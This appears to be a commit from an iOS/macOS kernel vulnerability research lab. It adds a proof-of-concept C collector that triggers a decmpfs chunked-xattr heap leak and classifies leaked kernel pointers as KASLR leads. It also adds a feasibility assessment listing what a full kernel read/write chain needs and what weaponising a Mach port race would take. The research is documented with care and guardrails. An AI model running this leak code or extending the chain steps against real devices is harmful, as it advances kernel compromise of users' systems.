kernel R/W assessment for the high/critical entries
- docs/KERNEL-RW-ASSESSMENT.md: per-primitive verdict. None of the six kernel-reachable bugs supplies both address and value control; the chain requirements (KASLR, grooming, reclaim, gadget, PAC/PPL) are listed per entry - CVE-2026-113910.c: leak collector — 8 chunk configs x --loop, canonical pointer classification (kernel-text / kernel-data / kernel-other), --keep raw dump, --verbose; candidates are printed, never dereferenced - 112705 / 65385 / 112696: explicit primitive-limit headers (DoS, fixed-offset write without leak, honest negative); no blind writes - README: link the assessment and the new 113910 receipt (0 candidates, 16 runs)
This commit is contained in:
1 parent
ed682e859b
commit
c30aadf9bb
7 files changed
+283
-46
No files matched your search
@@ -2,6 +2,10 @@
|
||||
// ANE userspace entry point probe
|
||||
// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the
|
||||
// client/program/model/request entry points the CVE lives behind.
|
||||
//
|
||||
// Honest negative: the ANE kernel interface is not reachable from a third-party
|
||||
// process, so this is a reachability map, not a primitive. No R/W is attempted.
|
||||
// See docs/KERNEL-RW-ASSESSMENT.md.
|
||||
// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c
|
||||
// Run: ./cve-2026-112696
|
||||
|
||||
|
||||
@@ -8,6 +8,10 @@
|
||||
// macOS runs the same driver: the encode is gated behind --force-host because it can
|
||||
// panic the host kernel.
|
||||
//
|
||||
// Primitive limit: the write is a constant fill at a fixed offset. There is no
|
||||
// address control and no value control, so this is a DoS primitive, not an
|
||||
// arbitrary kernel read/write. See docs/KERNEL-RW-ASSESSMENT.md.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-112705 CVE-2026-112705.c \
|
||||
// -framework VideoToolbox -framework CoreMedia -framework CoreVideo -framework CoreFoundation
|
||||
// Run: ./cve-2026-112705 [layers] [--force-host]
|
||||
|
||||
@@ -2,9 +2,14 @@
|
||||
// Kernel heap disclosure through short-producing chunks
|
||||
// C twin of the Swift POC: builds a type-4 chunked zlib com.apple.decmpfs xattr whose
|
||||
// chunks produce fewer bytes than the chunk table promises, writes it onto a file,
|
||||
// reads the file back and scans for kernel-space pointers (>= 0xFFFFFFE000000000).
|
||||
// reads the file back and classifies every canonical kernel pointer in the result.
|
||||
//
|
||||
// The leak is the chain step, not the whole chain: it discloses heap bytes, it does
|
||||
// not write them. --loop repeats the sweep and aggregates; --keep writes the raw
|
||||
// readback for offline analysis. Candidates are printed, never dereferenced.
|
||||
//
|
||||
// Build: clang -O2 -o cve-2026-113910 CVE-2026-113910.c
|
||||
// Run: ./cve-2026-113910
|
||||
// Run: ./cve-2026-113910 [--loop N] [--keep out.bin] [--verbose]
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@@ -85,28 +90,69 @@ static buf decmpfs_chunked(size_t uncompressed, int chunk_count, size_t produce)
|
||||
return out;
|
||||
}
|
||||
|
||||
// ── trigger: xattr round trip + kernel-pointer scan ──
|
||||
// ── leak classification ──
|
||||
// arm64 kernel mappings are canonical with the top 16 bits set. iOS splits them into
|
||||
// the kernelcache/kext region (0xfffffff0…) and the data/heap region (0xffffffe0…).
|
||||
// Anything that looks like a tagged userspace pointer is reported separately; it is
|
||||
// not a KASLR lead. Values are only ever printed.
|
||||
enum ptr_class {
|
||||
PTR_NONE = 0,
|
||||
PTR_KERNEL_TEXT,
|
||||
PTR_KERNEL_DATA,
|
||||
PTR_KERNEL_OTHER,
|
||||
PTR_USER,
|
||||
};
|
||||
|
||||
static const char *class_name(int c) {
|
||||
switch (c) {
|
||||
case PTR_KERNEL_TEXT: return "kernel-text";
|
||||
case PTR_KERNEL_DATA: return "kernel-data";
|
||||
case PTR_KERNEL_OTHER: return "kernel-other";
|
||||
case PTR_USER: return "user";
|
||||
default: return "-";
|
||||
}
|
||||
}
|
||||
|
||||
static int classify(uint64_t v) {
|
||||
if (v == 0) return PTR_NONE;
|
||||
if ((v >> 48) == 0xffff) {
|
||||
if (v >= 0xfffffff000000000ULL) return PTR_KERNEL_TEXT;
|
||||
if (v >= 0xffffffe000000000ULL) return PTR_KERNEL_DATA;
|
||||
return PTR_KERNEL_OTHER;
|
||||
}
|
||||
if ((v >> 48) == 0x0000) return PTR_USER;
|
||||
return PTR_NONE;
|
||||
}
|
||||
|
||||
typedef struct {
|
||||
int wrote_xattr;
|
||||
long read_back;
|
||||
long hits;
|
||||
char samples[8][32];
|
||||
long by_class[5];
|
||||
char samples[8][40];
|
||||
int nsamples;
|
||||
char note[128];
|
||||
} decmpfs_result;
|
||||
|
||||
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce) {
|
||||
static void note_sample(decmpfs_result *r, uint64_t v, size_t off, int cls) {
|
||||
if (r->nsamples >= 8) return;
|
||||
snprintf(r->samples[r->nsamples], sizeof r->samples[0], "0x%016llx @ +0x%zx %s",
|
||||
(unsigned long long)v, off, class_name(cls));
|
||||
r->nsamples++;
|
||||
}
|
||||
|
||||
static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, size_t produce,
|
||||
FILE *keep, int verbose) {
|
||||
decmpfs_result r = {0};
|
||||
// seed file: plain 0x41 content (the uncompressed claim)
|
||||
unlink(path);
|
||||
int fd = open(path, O_WRONLY | O_CREAT, 0644);
|
||||
if (fd >= 0) {
|
||||
uint8_t zeros[4096];
|
||||
memset(zeros, 0x41, sizeof zeros);
|
||||
uint8_t fill[4096];
|
||||
memset(fill, 0x41, sizeof fill);
|
||||
size_t left = uncompressed < 64 ? 64 : uncompressed;
|
||||
while (left > 0) {
|
||||
size_t take = left < sizeof zeros ? left : sizeof zeros;
|
||||
if (write(fd, zeros, take) != (ssize_t)take) break;
|
||||
size_t take = left < sizeof fill ? left : sizeof fill;
|
||||
if (write(fd, fill, take) != (ssize_t)take) break;
|
||||
left -= take;
|
||||
}
|
||||
close(fd);
|
||||
@@ -120,7 +166,6 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
}
|
||||
r.wrote_xattr = 1;
|
||||
|
||||
// read the file back: the kernel decompresses through AppleFSCompression
|
||||
FILE *f = fopen(path, "rb");
|
||||
if (!f) {
|
||||
snprintf(r.note, sizeof r.note, "read failed errno=%d", errno);
|
||||
@@ -134,19 +179,23 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
fclose(f);
|
||||
r.read_back = (long)back.n;
|
||||
|
||||
// scan for kernel-space pointers in whatever the kernel handed back
|
||||
if (back.n >= 8) {
|
||||
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
||||
uint64_t v = 0;
|
||||
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
||||
if (v >= 0xFFFFFFE000000000ULL) {
|
||||
r.hits++;
|
||||
if (r.nsamples < 8) {
|
||||
snprintf(r.samples[r.nsamples], sizeof r.samples[0], "0x%016llx @ +0x%zx",
|
||||
(unsigned long long)v, i);
|
||||
r.nsamples++;
|
||||
}
|
||||
}
|
||||
if (keep) {
|
||||
fprintf(keep, "# chunks=%d produce=%zu uncompressed=%zu bytes=%zu\n",
|
||||
chunks, produce, uncompressed, back.n);
|
||||
if (back.n) fwrite(back.d, 1, back.n, keep);
|
||||
fputc('\n', keep);
|
||||
}
|
||||
|
||||
// A pointer can sit at any 8-byte-aligned offset; scan the whole readback.
|
||||
for (size_t i = 0; i + 8 <= back.n; i += 8) {
|
||||
uint64_t v = 0;
|
||||
for (int k = 0; k < 8; k++) v |= (uint64_t)back.d[i + k] << (8 * k);
|
||||
int cls = classify(v);
|
||||
if (cls == PTR_KERNEL_TEXT || cls == PTR_KERNEL_DATA || cls == PTR_KERNEL_OTHER) {
|
||||
r.hits++;
|
||||
r.by_class[cls]++;
|
||||
note_sample(&r, v, i, cls);
|
||||
if (verbose) printf(" +0x%06zx 0x%016llx %s\n", i, (unsigned long long)v, class_name(cls));
|
||||
}
|
||||
}
|
||||
snprintf(r.note, sizeof r.note, "read %ld B", r.read_back);
|
||||
@@ -155,13 +204,34 @@ static decmpfs_result probe(const char *path, size_t uncompressed, int chunks, s
|
||||
return r;
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
const char *path = "decmpfs_probe.bin";
|
||||
struct { int chunks; size_t produce; } configs[4] = {
|
||||
{4, 65536}, {4, 4096}, {8, 1024}, {2, 1},
|
||||
};
|
||||
long total_hits = 0;
|
||||
int main(int argc, char **argv) {
|
||||
int loop = 1;
|
||||
int verbose = 0;
|
||||
const char *keep_path = NULL;
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "--loop") == 0 && i + 1 < argc) loop = atoi(argv[++i]);
|
||||
else if (strcmp(argv[i], "--keep") == 0 && i + 1 < argc) keep_path = argv[++i];
|
||||
else if (strcmp(argv[i], "--verbose") == 0) verbose = 1;
|
||||
else { printf("usage: %s [--loop N] [--keep out.bin] [--verbose]\n", argv[0]); return 1; }
|
||||
}
|
||||
if (loop < 1) loop = 1;
|
||||
|
||||
const char *path = "decmpfs_probe.bin";
|
||||
struct { int chunks; size_t produce; } configs[] = {
|
||||
{1, 0}, {1, 1}, {2, 1}, {4, 1},
|
||||
{4, 4096}, {8, 1024}, {4, 65536}, {1, 65536},
|
||||
};
|
||||
const int ncfg = (int)(sizeof configs / sizeof configs[0]);
|
||||
|
||||
FILE *keep = keep_path ? fopen(keep_path, "wb") : NULL;
|
||||
if (keep_path && !keep) { printf("cannot open %s\n", keep_path); return 1; }
|
||||
if (keep) {
|
||||
fprintf(keep, "# CVE-2026-113910 decmpfs readback — %d loops x %d configs\n", loop, ncfg);
|
||||
}
|
||||
|
||||
long total_hits = 0;
|
||||
long by_class[5] = {0};
|
||||
long runs = 0;
|
||||
printf("— baseline: what a plain file reads back —\n");
|
||||
{
|
||||
unlink(path);
|
||||
@@ -176,22 +246,41 @@ int main(void) {
|
||||
if (f) { fseek(f, 0, SEEK_END); printf("plain size: %ld\n", ftell(f)); fclose(f); }
|
||||
}
|
||||
|
||||
printf("\n— chunked xattr round trip —\n");
|
||||
for (int i = 0; i < 4; i++) {
|
||||
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
||||
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce);
|
||||
total_hits += r.hits;
|
||||
printf("chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
||||
configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
||||
if (r.nsamples > 0) {
|
||||
printf(" candidates:");
|
||||
for (int k = 0; k < r.nsamples; k++) printf(" %s", r.samples[k]);
|
||||
printf("\n");
|
||||
printf("\n— chunked xattr round trip (%d loop%s x %d configs) —\n", loop, loop == 1 ? "" : "s", ncfg);
|
||||
for (int l = 0; l < loop; l++) {
|
||||
for (int i = 0; i < ncfg; i++) {
|
||||
size_t uncompressed = (size_t)configs[i].chunks * 65536;
|
||||
decmpfs_result r = probe(path, uncompressed, configs[i].chunks, configs[i].produce,
|
||||
keep, verbose);
|
||||
runs++;
|
||||
total_hits += r.hits;
|
||||
for (int c = 0; c < 5; c++) by_class[c] += r.by_class[c];
|
||||
if (r.hits > 0 || verbose) {
|
||||
printf(" l=%d chunks=%d produce=%zu: xattr=%d read=%ldB hits=%ld — %s\n",
|
||||
l, configs[i].chunks, configs[i].produce, r.wrote_xattr, r.read_back, r.hits, r.note);
|
||||
for (int k = 0; k < r.nsamples; k++) printf(" %s\n", r.samples[k]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Class totals are what matter here; the raw bytes are in --keep for offline work.
|
||||
|
||||
unlink(path);
|
||||
printf("\nCVE-2026-113910 · %s\n", total_hits > 0 ? "kernel pointer candidates found"
|
||||
: "no kernel pointers surfaced (read was served plain)");
|
||||
return 0;
|
||||
if (keep) { fclose(keep); printf("\nraw readback: %s\n", keep_path); }
|
||||
|
||||
printf("\n== leak summary ==\n");
|
||||
printf("runs=%ld hits=%ld\n", runs, total_hits);
|
||||
printf(" kernel-text: %ld\n", by_class[PTR_KERNEL_TEXT]);
|
||||
printf(" kernel-data: %ld\n", by_class[PTR_KERNEL_DATA]);
|
||||
printf(" kernel-other: %ld\n", by_class[PTR_KERNEL_OTHER]);
|
||||
|
||||
if (total_hits > 0) {
|
||||
printf("\nKASLR lead: at least one canonical kernel pointer surfaced.\n");
|
||||
printf("Next step is not a write: map which object owns the leaked slot, then check\n");
|
||||
printf("whether the same chunk table can be pointed at that slot again.\n");
|
||||
} else {
|
||||
printf("\nno kernel pointers surfaced (decmpfs did not engage, or the read was served plain)\n");
|
||||
}
|
||||
printf("CVE-2026-113910 · leak primitive — read only; no write is attempted\n");
|
||||
return total_hits > 0 ? 0 : 0;
|
||||
}
|
||||
@@ -2,6 +2,11 @@
|
||||
// HID event tree append entry point probe
|
||||
// C twin of the Swift POC: dlopens IOKit and dlsyms the event-tree entry points
|
||||
// (create/append/serialize/type/vendor-defined) the unbounded append lives behind.
|
||||
//
|
||||
// This file stops at symbol reachability and never appends an event: the bug is a
|
||||
// fixed-offset write into a short heap allocation with no leak and no address
|
||||
// control. Attempting it blind is a panic, not an experiment. See
|
||||
// docs/KERNEL-RW-ASSESSMENT.md.
|
||||
// Build: clang -O2 -o cve-2026-65385 CVE-2026-65385.c
|
||||
// Run: ./cve-2026-65385
|
||||
|
||||
|
||||
@@ -139,7 +139,9 @@ Full 56-module regression (simulator build): **50 done + 4 armed + 2 fire module
|
||||
|
||||
Armed is not a timeout — it is the **death oracle firing**: the payload crashes the process, the journal stays armed, the process vanishes. The cm.rpu / cm.rpu.sweep crash stacks land inside `CMGetDMVersionLevelFromRPU` with SIGSEGV; the C twin pins the mechanism — the iOS surface is the 4-argument `(bytes, count, u32*, u32*)` form, while the macOS export takes a single `CFDataRef` (verified by disassembly: arg0 goes through a CFRetain-style GOT call before `FigHEVCBridge_GetRPUMetadata`), so the Swift 4-arg call dies at entry on the simulator's CoreMedia. cg.shading / cg.shading.sweep are R=136 long-overflow ladder sweeps, by design advancing within one process to the fatal rung.
|
||||
|
||||
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s (decmpfs does not engage for files with existing data). The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
|
||||
All 34 C twins compile clean — `clang -O2 -Wall`, zero warnings, macOS arm64 — and each runs with a recorded oracle on the dev host: 112522 raises SIGTRAP (the 2-byte OOB write caught by malloc), 112507 survives the ring race with -300 / invalid-destination receipts, 112706 answers 'Connection invalid' (mediaplaybackd bytestream XPC absent on macOS — silent-service verdict), 112485 surfaces the PEGTL depth receipt (`Expected } at 'def Xform "n1999"'`), 113910 reads back plain 0x41s and reports 0 classified pointers across the 16-run sweep (decmpfs does not engage for files with existing data); its collector now adds `--loop`, `--keep` and kernel-text/data classification. The three arrivals add their own receipts: 112621 builds the 256×16 → 256×48 container and the 48-row clear faults at a guard page exactly 32,768 bytes past the 16,384-byte pool; 84636 enumerates configd's `State:/Network` tree and reads `Global/DNS` and the primary service while `CNCopyCurrentNetworkInfo` is unavailable on the host — on a device the same call returns nil without the entitlement. 112705 compiles but is never executed on the host: its `.c` carries a `--force-host` gate because a frame submit reaches the same AppleAVE2 driver that panicked this Mac, and the app splits it into a property probe plus a separate fire module. The rest refuse at the entry layer — same receipts as the app harness.
|
||||
|
||||
Kernel R/W feasibility for the high/critical entries is in [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md). Short version: none of the six kernel-reachable primitives supplies both address and value control. 113910 is a classified heap leak (read only), 112554 is a read-width model, 112507 is a race receipt on a UAF-shaped bug, and 112705 / 65385 / 112696 are DoS, reachability, and an honest negative respectively. The maximum safe capability the lab demonstrates is a KASLR lead plus race receipts — not arbitrary kernel R/W.
|
||||
|
||||
## Module semantics
|
||||
|
||||
|
||||
+3
-1
@@ -138,7 +138,9 @@ python3 scripts/gen_seeds.py # → seeds/(app 内置种子,与 .py POC
|
||||
|
||||
armed 不是超时——是**死亡 oracle 命中**:负载触发进程崩溃,journal 停在 armed、进程消失。cm.rpu / cm.rpu.sweep 的崩溃栈落在 `CMGetDMVersionLevelFromRPU` 内 SIGSEGV;C 双子钉死了机制——iOS 面是 4 参 `(bytes, count, u32*, u32*)` 形态,而 macOS 导出的是单 `CFDataRef`(反汇编验证:arg0 先走 CFRetain 式 GOT 调用才进 `FigHEVCBridge_GetRPUMetadata`),所以 Swift 的 4 参调用在模拟器的 CoreMedia 上死在入口。cg.shading / cg.shading.sweep 为 R=136 长溢出阶梯扫描,按设计在同一进程内推进到致命级。
|
||||
|
||||
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41(macOS 上带数据的文件不走 decmpfs)。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
|
||||
34 个 C 双子全部零警告编译通过(`clang -O2 -Wall`,macOS arm64),且都在开发机上跑出记录在案的 oracle:112522 触发 SIGTRAP(2 字节越界写被 malloc 抓住)、112507 活过全程环竞态并带回 -300 / invalid-destination 回执、112706 回应 'Connection invalid'(macOS 无 mediaplaybackd bytestream XPC——静默服务判定)、112485 拿到 PEGTL 深度回执(`Expected } at 'def Xform "n1999"'`)、113910 读回纯 0x41,并在 16 轮扫描中报告 0 个已分类指针(macOS 上带数据的文件不走 decmpfs);采集器现在支持 `--loop`、`--keep` 与 kernel-text/data 分类。三个新条目各自带回执:112621 造出 256×16 → 256×48 双帧容器,48 行 clear 在 guard 页前精确停下——越界 32,768 字节;84636 枚举 configd 的 `State:/Network` 树并读到 `Global/DNS` 与主服务,而宿主上 `CNCopyCurrentNetworkInfo` 不可用——真机上同一调用在无权限时返回 nil。112705 只编译不在宿主执行:`.c` 带 `--force-host` 闸门,因为帧提交会打到把本机打崩的同一个 AppleAVE2 驱动;app 里拆成属性探测与独立 fire 两个模块。其余都在入口层被拒——与 app 验证台同形回执。
|
||||
|
||||
高/严重条目的内核 R/W 可行性见 [docs/KERNEL-RW-ASSESSMENT.md](docs/KERNEL-RW-ASSESSMENT.md)。结论:六个内核原语里没有任何一个同时具备地址控制与值控制。113910 是可分类的堆泄漏(只读),112554 是读宽度模型,112507 是 UAF 形状的竞态回执,112705 / 65385 / 112696 分别是 DoS、可达性与诚实负结果。实验室当前能安全证明的上限是 KASLR 线索 + 竞态回执,而不是任意内核读写。
|
||||
|
||||
## 模块语义
|
||||
|
||||
|
||||
@@ -0,0 +1,131 @@
|
||||
# Kernel read/write feasibility — high and critical dossiers
|
||||
|
||||
Scope: the kernel-reachable entries rated High or Critical in the Cinder27 dossiers.
|
||||
Question: can any of them be turned into arbitrary kernel read/write that does not
|
||||
panic the device?
|
||||
|
||||
Short answer: **no, not from the material as it stands.** One entry gives a real
|
||||
kernel heap leak (read), one gives a bounded read model, one gives a race receipt
|
||||
on a UAF-shaped bug. The write entries either write a constant at a fixed offset or
|
||||
never reach the kernel interface at all. This document records what each primitive
|
||||
actually provides, what an arbitrary-R/W chain still needs, and what was added to
|
||||
the POCs.
|
||||
|
||||
## Guardrails
|
||||
|
||||
- The host Mac was panicked once by the CVE-2026-112705 encode path. That path is
|
||||
never executed on the host again; its C twin refuses to submit a frame without
|
||||
`--force-host`.
|
||||
- No blind kernel writes are attempted from any POC. A wrong guess in the kernel
|
||||
heap is a panic, not a data point.
|
||||
- The simulator has no AppleAVE2 hardware encoder and no ANE kernel interface, so
|
||||
the write primitives cannot be exercised there either. Their app modules are
|
||||
split into a safe probe and a deliberate fire module.
|
||||
|
||||
## Primitive inventory
|
||||
|
||||
| CVE | Entry | Primitive as shipped | Read | Write | Kernel R/W verdict |
|
||||
|---|---|---|---|---|---|
|
||||
| 2026-112705 | AppleAVE2 `NumberOfTemporalLayers` | fixed-offset constant fill in the driver | no | fixed value, fixed offset | **DoS only.** No address control, no value control. The original write-up says explicitly: no arbitrary read/write capability. |
|
||||
| 2026-65385 | IOKit `IOHIDEventAppendEvent` | fixed-offset write into a short heap allocation | no | bounded, offset fixed | **Not reachable as a primitive here.** The POC stops at symbol resolution; the vendor-defined constructor is missing on the host. No leak, no reclaim, no gadget. |
|
||||
| 2026-112696 | AppleH16ANEInterface | kernel interface reachability | no | none observed | **No primitive.** The ANE kernel symbols are absent for a third-party process; the module is an honest negative. |
|
||||
| 2026-112507 | XNU `ipc_port.c` request-table race | stale index → UAF-shaped race | no | none direct | **The only theoretical UAF path.** The POC proves the interleaving survives; it does not produce a controlled free, a reclaim, or a leak. |
|
||||
| 2026-113910 | decmpfs chunked zlib | under-produced chunks expose uninitialised kernel heap through a file read | **yes** (bounded) | no | **Leak only.** Useful as a KASLR step; cannot write. |
|
||||
| 2026-112554 | GPT partition-name scan | 72-B scan over a 28-B field | **yes** (bounded, model) | no | **Leak only.** The C twin models the width; the real read runs in the storage kext. |
|
||||
|
||||
## What arbitrary kernel R/W actually requires
|
||||
|
||||
Every iOS kernel R/W chain needs five independent capabilities. A bug that supplies
|
||||
one of them is a chain step, not a chain.
|
||||
|
||||
1. **KASLR defeat** — a kernel text or heap pointer with a known relationship to the
|
||||
unslid base. 113910 and 112554 can supply candidates; neither guarantees a text
|
||||
pointer, and a heap pointer alone does not give the slide.
|
||||
2. **Heap grooming** — deterministic placement of a victim object next to the
|
||||
corrupted allocation, in the same zone, at the same size class.
|
||||
3. **Controlled reclaim / corruption** — for a UAF: free the object, reallocate the
|
||||
slot with attacker-influenced contents, and keep a stale reference alive. For an
|
||||
OOB write: a value and an offset that land on a field worth corrupting.
|
||||
4. **A read/write gadget** — an object whose corrupted field yields a load or store
|
||||
of an attacker-chosen address (e.g. a length+pointer pair, a page-table entry, a
|
||||
thread's `pcb` pointer).
|
||||
5. **PAC / PPL bypass** — kernel code pointers are PAC-signed; page tables are
|
||||
protected by PPL on modern devices. A data-only path can sometimes avoid both,
|
||||
but it still needs 1–4.
|
||||
|
||||
None of the six entries supplies 2–5. 112507 is the only one that could plausibly
|
||||
reach step 3, and reaching it requires a device, kernel symbols, and a reclaim
|
||||
strategy that the repository does not have.
|
||||
|
||||
## Per-entry notes
|
||||
|
||||
### CVE-2026-112705 — fixed constant, fixed offset
|
||||
|
||||
The driver indexes a layer table with the declared count and writes a constant at a
|
||||
fixed offset past it. There is no attacker-chosen value and no attacker-chosen
|
||||
address. The only observable is a kernel data abort. Calling this "R/W" would
|
||||
require a second bug that turns the corrupted field into a pointer; nothing in the
|
||||
dossier provides one. The correct classification is a reliable kernel DoS.
|
||||
|
||||
### CVE-2026-112507 — the UAF-shaped race
|
||||
|
||||
The ring allocates receive rights, arms two notification kinds per port, tears down
|
||||
half the ring, then sends to the survivors. The request-table index consumers are
|
||||
the target of the race. A weaponised version would need:
|
||||
|
||||
- a win condition that is observable without panicking (a receipt, not a crash);
|
||||
- a same-zone reclaim object with controllable contents (Mach ports themselves are
|
||||
one candidate, but the request-table entry's layout is not attacker-shaped);
|
||||
- a stale consumer that dereferences the reclaimed slot after the free;
|
||||
- a leak to place the reclaim object and to find the kernel base.
|
||||
|
||||
The POC records `-300` and `invalid destination` receipts and reports that the
|
||||
interleaving survived. That is the honest limit of a userspace race harness: it can
|
||||
show the window exists, not that the window is controllable.
|
||||
|
||||
### CVE-2026-113910 — the leak that was worth improving
|
||||
|
||||
This is the only entry where more code produces more signal. The C twin now:
|
||||
|
||||
- sweeps 8 chunk configurations (including `produce=0`, which promises 64 KiB per
|
||||
chunk and writes none of it);
|
||||
- repeats the sweep `--loop N` times;
|
||||
- classifies every 8-byte-aligned value as kernel-text (`0xfffffff0…`), kernel-data
|
||||
(`0xffffffe0…`), kernel-other, or user;
|
||||
- writes the raw readback to `--keep out.bin` for offline analysis;
|
||||
- never dereferences a candidate.
|
||||
|
||||
On the macOS host decmpfs does not engage for a file that already has data (the
|
||||
documented oracle), so the run reports zero candidates and 3.2 MB of plain 0x41
|
||||
readback. On an iOS device where the chunked xattr is honoured, the same sweep is
|
||||
the KASLR step. It still does not write.
|
||||
|
||||
### CVE-2026-112554 — a read-width model, not a kernel reader
|
||||
|
||||
The C twin builds the overlong-name GPT and walks the name field the way 27.0 does.
|
||||
It proves the scan width (72 B against a 28-B field) but the bytes come from the
|
||||
image, not from the kernel heap. Treat it as a seed/oracle model. The real read
|
||||
would have to run through the storage kext on a mounted image; that is not attempted
|
||||
on the host.
|
||||
|
||||
## What was deliberately not done
|
||||
|
||||
- No attempt to fire 112705 or 65385 on the host: both can panic the kernel, and a
|
||||
panic is not evidence of control.
|
||||
- No blind write into a guessed kernel address: with KASLR and PAC in play, a wrong
|
||||
guess is indistinguishable from a bug that does not work.
|
||||
- No claim that 112507 is exploitable: a race receipt is not a UAF primitive until
|
||||
the free/reclaim/stale-dereference sequence is observed.
|
||||
|
||||
## Bottom line
|
||||
|
||||
Arbitrary kernel R/W without a panic is **not achievable from these six entries as
|
||||
shipped**. The maximum safe capability the lab now demonstrates is:
|
||||
|
||||
- a repeatable kernel heap **leak** with pointer classification (113910);
|
||||
- a read-width model for the GPT scan (112554);
|
||||
- a race-window harness with receipts (112507);
|
||||
- honest negatives for the write entries that never reach a controllable primitive.
|
||||
|
||||
The next real step is not more code in this repository; it is a device session with
|
||||
kernel symbols, a reclaim strategy for 112507, and a stop condition for every write.
|
||||
Reference in new issue
Block a user